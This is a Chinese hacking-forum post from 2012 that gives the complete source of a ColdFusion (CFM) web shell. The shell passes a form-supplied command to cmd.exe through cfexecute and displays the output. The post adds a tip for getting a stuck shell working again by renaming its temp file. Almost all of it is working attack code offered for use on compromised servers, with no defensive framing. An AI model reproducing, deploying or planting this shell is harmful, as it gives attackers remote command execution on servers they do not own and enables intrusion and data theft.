admin 发表于 2012-9-15 14:22:13

cfm的cmdshell使用注意

cfm-cmdshell
<html>   
<head>   
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">   
<title>CFM shell</title>   
</head>   
<body>   
<!--- os.run --->   
<cfif IsDefined("FORM.cmd")>   
    <cfoutput>#cmd#</cfoutput>   
    <cfexecute name="C:\Winnt\System32\cmd.exe"   
         arguments="/c #cmd#"   
         outputfile="#GetTempDirectory()#foobar.txt"   
         timeout="1">   
    </cfexecute>   
</cfif>   
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">   
<input type=text size=45 name="cmd" >   
<input type=Submit value="run">   
</form>   
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">   
<cffile action="Read"   
            file="#GetTempDirectory()#foobar.txt"   
            variable="readText">   
<textarea readonly cols=80 rows=20>   
<CFOUTPUT>#readText#</CFOUTPUT>            
</textarea>   
    <cffile action="Delete"   
            file="#GetTempDirectory()#foobar.txt">   
</cfif>   
</body>   
</html>   

有时候会发现执行某次cmd后没有正常结束,造成后面不能执行命令。这时候只要修改下shell的foobar.txt名字,几处都改一下就可以了。想来是程序未正常退出,文件被占用,写不进去了。
页: [1]
查看完整版本: cfm的cmdshell使用注意